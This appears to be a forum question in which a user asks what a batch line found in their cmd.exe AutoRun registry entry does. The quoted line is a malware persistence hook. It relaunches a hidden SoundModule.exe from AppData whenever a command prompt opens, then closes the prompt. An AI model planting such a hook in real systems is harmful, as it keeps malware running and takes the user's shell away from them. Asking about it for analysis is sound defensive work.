title: CMD.exe closes immediately - unusual line in AutoRun registry entry
body: <p>I've noticed that my command line didn't start anymore, it just immediately minimized and closed itself upon running. I suspect this is due to a virus or at least some kind of malicious program having been executed. I found the following code inside my registry. It seems legible but my knowledge of batch / the command line is limited. Can anyone tell me what it does?</p>
  
  <pre><code>@mode 20,5 &amp; tasklist /FI "IMAGENAME eq SoundModule.exe" 2&gt;NUL | find /I /N "SoundModule.exe"&gt;NUL &amp;&amp; exit &amp; if exist "C:\Users\Leon\AppData\Roaming\Microsoft\SoundModule\SoundModule.exe" ( start /MIN "" "C:\Users\Leon\AppData\Roaming\Microsoft\SoundModule\SoundModule.exe" &amp; tasklist /FI "IMAGENAME eq explorer.exe" 2&gt;NUL | find /I /N "explorer.exe"&gt;NUL &amp;&amp; exit &amp; explorer.exe &amp; exit ) else ( tasklist /FI "IMAGENAME eq explorer.exe" 2&gt;NUL | find /I /N "explorer.exe"&gt;NUL &amp;&amp; exit &amp; explorer.exe &amp; exit )
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